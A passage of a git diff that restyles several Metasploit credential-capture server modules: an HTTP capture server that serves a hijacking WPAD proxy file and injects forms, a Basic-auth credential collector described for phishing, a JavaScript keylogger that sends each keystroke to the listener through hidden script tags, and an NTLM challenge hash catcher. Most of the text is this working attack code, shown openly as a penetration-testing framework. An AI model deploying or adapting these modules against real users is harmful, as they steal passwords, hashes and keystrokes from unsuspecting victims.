'ppc' + case ua + when /PPC/ + 'ppc' end os_name ||= 'Unknown' mysrc = Rex::Socket.source_address(cli.peerhost) - hhead = (req['Host'] || @myhost) + hhead = req['Host'] || @myhost - if req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/ - hhead = $1 - req.resource = $2 + if req.resource =~ %r{^http:/+([^/]+)(/*.*)} + hhead = ::Regexp.last_match(1) + req.resource = ::Regexp.last_match(2) end if hhead =~ /^(.*):(\d+)\s*$/ - hhead = $1 - nport = $2.to_i + hhead = ::Regexp.last_match(1) + nport = ::Regexp.last_match(2).to_i end @myport = nport || 80 - cookies = req['Cookie'] || '' - - if(cookies.length > 0) + if !cookies.empty? report_note( :host => cli.peerhost, :type => "http_cookies", - :data => hhead + " " + cookies, + :data => { :cookies => hhead + " " + cookies }, :update => :unique_data ) end - - if(req['Authorization'] and req['Authorization'] =~ /basic/i) - basic,auth = req['Authorization'].split(/\s+/) - user,pass = Rex::Text.decode_base64(auth).split(':', 2) + if req['Authorization'] && req['Authorization'] =~ /basic/i + _, auth = req['Authorization'].split(/\s+/) + user, pass = Rex::Text.decode_base64(auth).split(':', 2) report_cred( ip: cli.peerhost, port: @myport, - service_name: (ssl ? "https" : "http"), + service_name: (ssl ? 'https' : 'http'), user: user, pass: pass, proof: req.resource.to_s ) report_note( - :host => cli.peerhost, - :type => "http_auth_extra", - :data => req.resource.to_s, + :host => cli.peerhost, + :type => "http_auth_extra", + :data => { :auth_extra => req.resource.to_s }, :update => :unique_data ) print_good("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}") end - - if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i) + if (req.resource =~ %r{^/*wpad.dat|.*\.pac$}i) prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{hhead}\r\n" + - "Content-Type: application/x-ns-proxy-autoconfig\r\n" + - "Content-Length: #{prx.length}\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{hhead}\r\n" \ + "Content-Type: application/x-ns-proxy-autoconfig\r\n" \ + "Content-Length: #{prx.length}\r\n" \ "Connection: Close\r\n\r\n#{prx}" print_status("HTTP wpad.dat sent to #{cli.peerhost}") cli.put(res) return end - - if(req.resource =~ /\/+formrec\/(.*)/i) - data = Rex::Text.uri_decode($1).split("\x00").join(", ") + if (req.resource =~ %r{/+formrec/(.*)}i) + data = Rex::Text.uri_decode(::Regexp.last_match(1)).split("\x00").join(', ') report_note( :host => cli.peerhost, :type => "http_formdata", - :data => hhead + " " + data, + :data => { :formdata => hhead + " " + data }, :update => :unique_data ) res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{hhead}\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: 4\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{hhead}\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: 4\r\n" \ "Connection: Close\r\n\r\nBYE!" print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})") @@ -266,42 +264,40 @@ def dispatch_request(cli, req) report_note( :host => cli.peerhost, :type => "http_request", - :data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}", + :data => { :request => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}" }, :update => :unique_data ) print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}") - if(req.resource =~ /\/+forms.html$/) + if (req.resource =~ %r{/+forms.html$}) frm = inject_forms(hhead) res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{hhead}\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{frm.length}\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{hhead}\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: #{frm.length}\r\n" \ "Connection: Close\r\n\r\n#{frm}" cli.put(res) return end - # http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt - if(req.resource == "/update/PatchSequenceFile.txt") + if (req.resource == '/update/PatchSequenceFile.txt') print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft") end - # Microsoft 'Network Connectivity Status Indicator' Vista if (req['Host'] == 'www.msftncsi.com') print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)") - data = "Microsoft NCSI" - res = - "HTTP/1.1 200 OK\r\n" + - "Host: www.msftncsi.com\r\n" + - "Expires: 0\r\n" + - "Cache-Control: must-revalidate\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{data.length}\r\n" + + data = 'Microsoft NCSI' + res = + "HTTP/1.1 200 OK\r\n" \ + "Host: www.msftncsi.com\r\n" \ + "Expires: 0\r\n" \ + "Cache-Control: must-revalidate\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return @@ -327,18 +323,17 @@ def dispatch_request(cli, req) # Microsoft ActiveX Download if (req['Host'] == 'activex.microsoft.com') print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control") - data = "" - res = - "HTTP/1.1 404 Not Found\r\n" + - "Host: #{mysrc}\r\n" + - "Content-Type: application/octet-stream\r\n" + - "Content-Length: #{data.length}\r\n" + + data = '' + res = + "HTTP/1.1 404 Not Found\r\n" \ + "Host: #{mysrc}\r\n" \ + "Content-Type: application/octet-stream\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return end - # Sonic.com's Update Service if (req['Host'] == 'updateservice.sonic.com') print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates") @@ -357,92 +352,88 @@ def dispatch_request(cli, req) end # The itunes store on the iPhone - if(req['Host'] == 'phobos.apple.com') + if (req['Host'] == 'phobos.apple.com') print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone") # GET /bag.xml end - # Handle image requests - ctypes = - { - "jpg" => "image/jpeg", - "jpeg" => "image/jpeg", - "png" => "image/png", - "gif" => "image/gif", - } + ctypes = + { + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + } - req_ext = req.resource.split(".")[-1].downcase + req_ext = req.resource.split('.')[-1].downcase - if(ctypes[req_ext]) + if ctypes[req_ext] ctype = ctypes['gif'] data = - "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" + - "\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" + + "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" \ + "\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" \ "\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b" res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{mysrc}\r\n" + - "Content-Type: #{ctype}\r\n" + - "Content-Length: #{data.length}\r\n" + + "HTTP/1.1 200 OK\r\n" \ + "Host: #{mysrc}\r\n" \ + "Content-Type: #{ctype}\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return end - buff = '' - - if(@myautopwn) + if @myautopwn buff << "" end list = File.readlines(@sitelist) list.each do |site| next if site =~ /^#/ + site.strip! - next if site.length == 0 + next if site.empty? + buff << "" end data = File.read(@template) data.gsub!(/%CONTENT%/, buff) - res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{mysrc}\r\n" + - "Expires: 0\r\n" + - "Cache-Control: must-revalidate\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{data.length}\r\n" + + res = + "HTTP/1.1 200 OK\r\n" \ + "Host: #{mysrc}\r\n" \ + "Expires: 0\r\n" \ + "Cache-Control: must-revalidate\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return - end - def inject_forms(site) + domain = site.gsub(%r{(\.\.|\\|/)}, '') + domain = 'www.' + domain if domain !~ /^www/i - domain = site.gsub(/(\.\.|\\|\/)/, "") - domain = "www." + domain if domain !~ /^www/i + until domain.empty? - while(domain.length > 0) - - form_file = File.join(@formsdir, domain) + ".txt" - form_data = "" - if (File.readable?(form_file)) + form_file = File.join(@formsdir, domain) + '.txt' + form_data = '' + if File.readable?(form_file) form_data = File.read(form_file) break end - parts = domain.split(".") + parts = domain.split('.') parts.shift - domain = parts.join(".") + domain = parts.join('.') end %| @@ -485,6 +476,5 @@ def inject_forms(site) | - end end diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index fd3efa1279e20..10f4cfd58f7de 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -7,38 +7,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report - def initialize(info={}) - super(update_info(info, - 'Name' => 'HTTP Client Basic Authentication Credential Collector', - 'Description' => %q{ - This module responds to all requests for resources with a HTTP 401. This should - cause most browsers to prompt for a credential. If the user enters Basic Auth creds - they are sent to the console. + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Client Basic Authentication Credential Collector', + 'Description' => %q{ + This module responds to all requests for resources with a HTTP 401. This should + cause most browsers to prompt for a credential. If the user enters Basic Auth creds + they are sent to the console. - This may be helpful in some phishing expeditions where it is possible to embed a - resource into a page. + This may be helpful in some phishing expeditions where it is possible to embed a + resource into a page. - This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski. - }, - 'Author' => ['saint patrick '], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run capture web server' ] + This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski. + }, + 'Author' => ['saint patrick '], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run capture web server' } ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' - )) + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), - OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]), - OptString.new('RedirectURL', [ false, "The page to redirect users to after they enter basic auth creds" ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 80 ]), + OptString.new('REALM', [ true, "The authentication realm you'd like to present.", 'Secure Site' ]), + OptString.new('RedirectURL', [ false, 'The page to redirect users to after they enter basic auth creds' ]) + ] + ) end # Not compatible today @@ -47,9 +54,9 @@ def support_ipv6? end def run - @myhost = datastore['SRVHOST'] - @myport = datastore['SRVPORT'] - @realm = datastore['REALM'] + @myhost = datastore['SRVHOST'] + @myport = datastore['SRVPORT'] + @realm = datastore['REALM'] exploit end @@ -81,9 +88,9 @@ def report_cred(opts) end def on_request_uri(cli, req) - if(req['Authorization'] and req['Authorization'] =~ /basic/i) - basic,auth = req['Authorization'].split(/\s+/) - user,pass = Rex::Text.decode_base64(auth).split(':', 2) + if req['Authorization'] && req['Authorization'] =~ /basic/i + _, auth = req['Authorization'].split(/\s+/) + user, pass = Rex::Text.decode_base64(auth).split(':', 2) report_cred( ip: cli.peerhost, @@ -103,7 +110,7 @@ def on_request_uri(cli, req) end else print_status("Sending 401 to client #{cli.peerhost}") - response = create_response(401, "Unauthorized") + response = create_response(401, 'Unauthorized') response.headers['WWW-Authenticate'] = "Basic realm=\"#{@realm}\"" cli.send_response(response) end diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index 7c9a418e4932b..5067e3acfb274 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -7,30 +7,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Capture: HTTP JavaScript Keylogger', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Capture: HTTP JavaScript Keylogger', + 'Description' => %q{ This modules runs a web server that demonstrates keystroke - logging through JavaScript. The DEMO option can be set to enable - a page that demonstrates this technique. Future improvements will - allow for a configurable template to be used with this module. - To use this module with an existing web page, simply add a - script source tag pointing to the URL of this service ending - in the .js extension. For example, if URIPATH is set to "test", - the following URL will load this script into the calling site: - http://server:port/test/anything.js - }, - 'License' => MSF_LICENSE, - 'Author' => ['Marcus J. Carey ', 'hdm'] - )) - - register_options( - [ - OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]), - ]) + logging through JavaScript. The DEMO option can be set to enable + a page that demonstrates this technique. Future improvements will + allow for a configurable template to be used with this module. + To use this module with an existing web page, simply add a + script source tag pointing to the URL of this service ending + in the .js extension. For example, if URIPATH is set to "test", + the following URL will load this script into the calling site: + http://server:port/test/anything.js + }, + 'License' => MSF_LICENSE, + 'Author' => ['Marcus J. Carey ', 'hdm'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptBool.new('DEMO', [true, 'Creates HTML for demo purposes', false]), + ] + ) end - # This is the module's main runtime method def run @seed = Rex::Text.rand_text_alpha(12) @@ -42,44 +50,43 @@ def run # This handles the HTTP responses for the Web server def on_request_uri(cli, request) - cid = nil if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i - cid = $1 + cid = ::Regexp.last_match(1) end - if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i - cid = $1 + if !cid && request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i + cid = ::Regexp.last_match(1) end data = request.qstring['data'] unless cid - cid = generate_client_id(cli,request) + cid = generate_client_id(cli, request) print_status("Assigning client identifier '#{cid}'") resp = create_response(302, 'Moved') resp['Content-Type'] = 'text/html' - resp['Location'] = request.uri + '?id=' + cid - resp['Set-Cookie'] = "id=#{cid}" + resp['Location'] = request.uri + '?id=' + cid + resp['Set-Cookie'] = "id=#{cid}" cli.send_response(resp) return end base_url = generate_base_url(cli, request) - #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") + # print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") case request.uri when /\.js(\?|$)/ - content_type = "text/plain" - send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) + content_type = 'text/plain' + send_response(cli, generate_keylogger_js(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" }) - when /\/demo\/?(\?|$)/ + when %r{/demo/?(\?|$)} if datastore['DEMO'] - content_type = "text/html" - send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) + content_type = 'text/html' + send_response(cli, generate_demo(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" }) else send_not_found(cli) end @@ -87,14 +94,12 @@ def on_request_uri(cli, request) else if data nice = process_data(cli, request, cid, data) - script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : "" - send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"}) + script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : '' + send_response(cli, script, { 'Content-Type' => 'text/plain', 'Set-Cookie' => "id=#{cid}" }) + elsif datastore['DEMO'] + send_redirect(cli, "/demo/?cid=#{cid}") else - if datastore['DEMO'] - send_redirect(cli, "/demo/?cid=#{cid}") - else - send_not_found(cli) - end + send_not_found(cli) end end end @@ -110,7 +115,7 @@ def generate_base_url(cli, req) bits = host.split(':') # Extract the hostname:port sequence from the Host header - if bits.length > 1 and bits.last.to_i > 0 + if (bits.length > 1) && (bits.last.to_i > 0) port = bits.pop.to_i host = bits.join(':') end @@ -118,13 +123,13 @@ def generate_base_url(cli, req) port = datastore['SRVPORT'].to_i end - prot = (!! datastore['SSL']) ? 'https://' : 'http://' + prot = !datastore['SSL'].nil? ? 'https://' : 'http://' if Rex::Socket.is_ipv6?(host) host = "[#{host}]" end base = prot + host - if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?)) + if !(((prot == 'https') && port.nil?) || ((prot == 'http') && port.nil?)) base << ":#{port}" end @@ -132,34 +137,34 @@ def generate_base_url(cli, req) end def process_data(cli, request, cid, data) + lines = [''] + real = '' - lines = [""] - real = "" - - Rex::Text.uri_decode(data).split(",").each do |char| + Rex::Text.uri_decode(data).split(',').each do |char| byte = char.to_s.hex.chr next if byte == "\x00" + real << byte case char.to_i # Do Backspace when 8 - lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0 + lines[-1] = lines[-1][0, lines[-1].length - 1] if !lines[-1].empty? when 13 - lines << "" + lines << '' else lines[-1] << byte end end - nice = lines.join("").gsub("\t", "") - real = real.gsub("\x08", "") + nice = lines.join('').gsub("\t", '') + real = real.gsub("\x08", '') - if not @client_cache[cid] + if !@client_cache[cid] - fp = fingerprint_user_agent(request['User-Agent'] || "") - header = "Browser Keystroke Log\n" + fp = fingerprint_user_agent(request['User-Agent'] || '') + header = "Browser Keystroke Log\n" header << "=====================\n" - header << "Created: #{Time.now.to_s}\n" + header << "Created: #{Time.now}\n" header << "Address: #{cli.peerhost}\n" header << " ID: #{cid}\n" header << " FPrint: #{fp.inspect}\n" @@ -168,129 +173,127 @@ def process_data(cli, request, cid, data) header << "====================\n\n" @client_cache[cid] = { - :created => Time.now.to_i, - :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"), - :path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)") + created: Time.now.to_i, + path_clean: store_loot('browser.keystrokes.clean', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Clean)'), + path_raw: store_loot('browser.keystrokes.raw', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Raw)') } print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}") print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}") end - ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice } - ::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) } + ::File.open(@client_cache[cid][:path_clean], 'ab') { |fd| fd.puts nice } + ::File.open(@client_cache[cid][:path_raw], 'ab') { |fd| fd.write(real) } - if nice.length > 0 + if !nice.empty? print_good("[#{cid}] Keys: #{nice}") end nice end - def generate_client_id(cli, req) - "%.8x" % Kernel.rand(0x100000000) + def generate_client_id(_cli, _req) + '%.8x' % Kernel.rand(0x100000000) end - def generate_demo(base_url, cid) # This is the Demo Form Page - html = < - -Demo Form - - - -

-
-

Keylogger Demo Form

-
-

This form submits data to the Metasploit listener for demonstration purposes. -

- - - -
Username:
Password:
-

- -
- - -
- - -EOS + html = <<~EOS + + + Demo Form + + + +

+
+

Keylogger Demo Form

+
+

This form submits data to the Metasploit listener for demonstration purposes. +

+ + + +
Username:
Password:
+

+ +
+ + +
+ + + EOS return html end # This is the JavaScript Key Logger Code def generate_keylogger_js(base_url, cid) - targ = Rex::Text.rand_text_alpha(12) - code = <"); - else { - f#{@seed} = document.createElement("script"); - f#{@seed}.setAttribute("id", t#{@seed}); - f#{@seed}.setAttribute("name", t#{@seed}); - } - - f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); - f#{@seed}.style.visibility = "hidden"; - - document.body.appendChild(f#{@seed}); - - if (k#{@seed} == 13 || l#{@seed}.length > 3000) - l#{@seed} = ","; - - setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); -} -EOS + var c#{@seed} = 0; + window.onload = function load#{@seed}(){ + l#{@seed} = ","; + + if (window.addEventListener) { + document.addEventListener('keypress', p#{@seed}, true); + document.addEventListener('keydown', d#{@seed}, true); + } else if (window.attachEvent) { + document.attachEvent('onkeypress', p#{@seed}); + document.attachEvent('onkeydown', d#{@seed}); + } else { + document.onkeypress = p#{@seed}; + document.onkeydown = d#{@seed}; + } + + } + function p#{@seed}(e){ + k#{@seed} = (window.event) ? window.event.keyCode : e.which; + k#{@seed} = k#{@seed}.toString(16); + if (k#{@seed} != "d"){ + #{@seed}(k#{@seed}); + } + } + function d#{@seed}(e){ + k#{@seed} = (window.event) ? window.event.keyCode : e.which; + if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){ + #{@seed}(k#{@seed}); + } + } + + function #{@seed}(k#{@seed}){ + l#{@seed} = l#{@seed} + k#{@seed} + ","; + + var t#{@seed} = "#{targ}" + c#{@seed}; + c#{@seed}++; + + var f#{@seed}; + + if (document.all) + f#{@seed} = document.createElement(""); + else { + f#{@seed} = document.createElement("script"); + f#{@seed}.setAttribute("id", t#{@seed}); + f#{@seed}.setAttribute("name", t#{@seed}); + } + + f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); + f#{@seed}.style.visibility = "hidden"; + + document.body.appendChild(f#{@seed}); + + if (k#{@seed} == 13 || l#{@seed}.length > 3000) + l#{@seed} = ","; + + setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); + } + EOS return code end - def generate_demo_js_reply(base_url, cid, data) + def generate_demo_js_reply(_base_url, _cid, data) code = < 'HTTP Client MS Credential Catcher', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'HTTP Client MS Credential Catcher', + 'Description' => %q{ This module attempts to quietly catch NTLM/LM Challenge hashes. }, - 'Author' => - [ + 'Author' => [ 'Ryan Linn ', ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'WebServer', 'Description' => 'Run capture web server' ] + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer', { 'Description' => 'Run capture web server' } ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ - #OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) + # OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge ', '1122334455667788' ]) ]) register_advanced_options([ - OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]), - OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]), - OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]), - OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]), - OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false]) + OptString.new('DOMAIN', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']), + OptString.new('SERVER', [ false, 'The default server to use for NTLM authentication', 'SERVER']), + OptString.new('DNSNAME', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']), + OptString.new('DNSDOMAIN', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']), + OptBool.new('FORCEDEFAULT', [ false, 'Force the default settings', false]) ]) - end def on_request_uri(cli, request) @@ -59,105 +63,105 @@ def on_request_uri(cli, request) process_options(cli, request) else # If the host has not started auth, send 401 authenticate with only the NTLM option - if(!request.headers['Authorization']) + if !request.headers['Authorization'] vprint_status("401 '#{request.uri}'") - response = create_response(401, "Unauthorized") - response.headers['WWW-Authenticate'] = "NTLM" + response = create_response(401, 'Unauthorized') + response.headers['WWW-Authenticate'] = 'NTLM' response.headers['Proxy-Support'] = 'Session-Based-Authentication' response.body = - "You are not authorized to view this page" + 'You are not authorized to view this page' - cli.send_response(response) else vprint_status("Continuing auth '#{request.uri}'") - method,hash = request.headers['Authorization'].split(/\s+/,2) + method, hash = request.headers['Authorization'].split(/\s+/, 2) # If the method isn't NTLM something odd is going on. Regardless, this won't get what we want, 404 them - if(method != "NTLM") - print_status("Unrecognized Authorization header, responding with 404") + if (method != 'NTLM') + print_status('Unrecognized Authorization header, responding with 404') send_not_found(cli) return false end - response = handle_auth(cli,hash) - cli.send_response(response) + response = handle_auth(cli, hash) end + cli.send_response(response) end end def run if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ - @challenge = [ datastore['CHALLENGE'] ].pack("H*") + @challenge = [ datastore['CHALLENGE'] ].pack('H*') else - print_error("CHALLENGE syntax must match 1122334455667788") + print_error('CHALLENGE syntax must match 1122334455667788') return end - exploit() + exploit end def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', - 'DASL' => '', - 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', - 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } - resp = create_response(207, "Multi-Status") - headers.each_pair {|k,v| resp[k] = v } - resp.body = "" + resp = create_response(207, 'Multi-Status') + headers.each_pair { |k, v| resp[k] = v } + resp.body = '' resp['Content-Type'] = 'text/xml' cli.send_response(resp) end - def handle_auth(cli,hash) + def handle_auth(cli, hash) # authorization string is base64 encoded message message = Rex::Text.decode_base64(hash) - if(message[8,1] == "\x01") + if (message[8, 1] == "\x01") domain = datastore['DOMAIN'] server = datastore['SERVER'] dnsname = datastore['DNSNAME'] dnsdomain = datastore['DNSDOMAIN'] - if(!datastore['FORCEDEFAULT']) - dom,ws = parse_type1_domain(message) - if(dom) + if !datastore['FORCEDEFAULT'] + dom, ws = parse_type1_domain(message) + if dom domain = dom end - if(ws) + if ws server = ws end end - response = create_response(401, "Unauthorized") - chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) - response.headers['WWW-Authenticate'] = "NTLM " + chalhash - return response + response = create_response(401, 'Unauthorized') + chalhash = MESSAGE.process_type1_message(hash, @challenge, domain, server, dnsname, dnsdomain) + response.headers['WWW-Authenticate'] = 'NTLM ' + chalhash # if the message is a type 3 message, then we have our creds - elsif(message[8,1] == "\x03") - domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash) + elsif (message[8, 1] == "\x03") + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(hash) nt_len = ntlm_hash.length - if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => lm_hash, - :nt_hash => ntlm_hash + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: lm_hash, + nt_hash: ntlm_hash } - if arg[:lm_hash][16,32] == '0' * 32 + if arg[:lm_hash][16, 32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response - elsif nt_len > 48 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => lm_hash[0, 32], - :lm_cli_challenge => lm_hash[32, 16], - :nt_hash => ntlm_hash[0, 32], - :nt_cli_challenge => ntlm_hash[32, nt_len - 32] + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: lm_hash[0, 32], + lm_cli_challenge: lm_hash[32, 16], + nt_hash: ntlm_hash[0, 32], + nt_cli_challenge: ntlm_hash[32, nt_len - 32] } elsif nt_len == 0 print_status("Empty hash from #{host} captured, ignoring ... ") @@ -167,7 +171,7 @@ def handle_auth(cli,hash) # If we get an empty hash, or unknown hash type, arg is not set. # So why try to read from it? - if not arg.nil? + if !arg.nil? arg[:host] = host arg[:user] = user arg[:domain] = domain @@ -176,45 +180,39 @@ def handle_auth(cli,hash) end response = create_response(200) - response.headers['Cache-Control'] = "no-cache" - return response + response.headers['Cache-Control'] = 'no-cache' else response = create_response(200) - response.headers['Cache-Control'] = "no-cache" - return response + response.headers['Cache-Control'] = 'no-cache' end - + return response end def 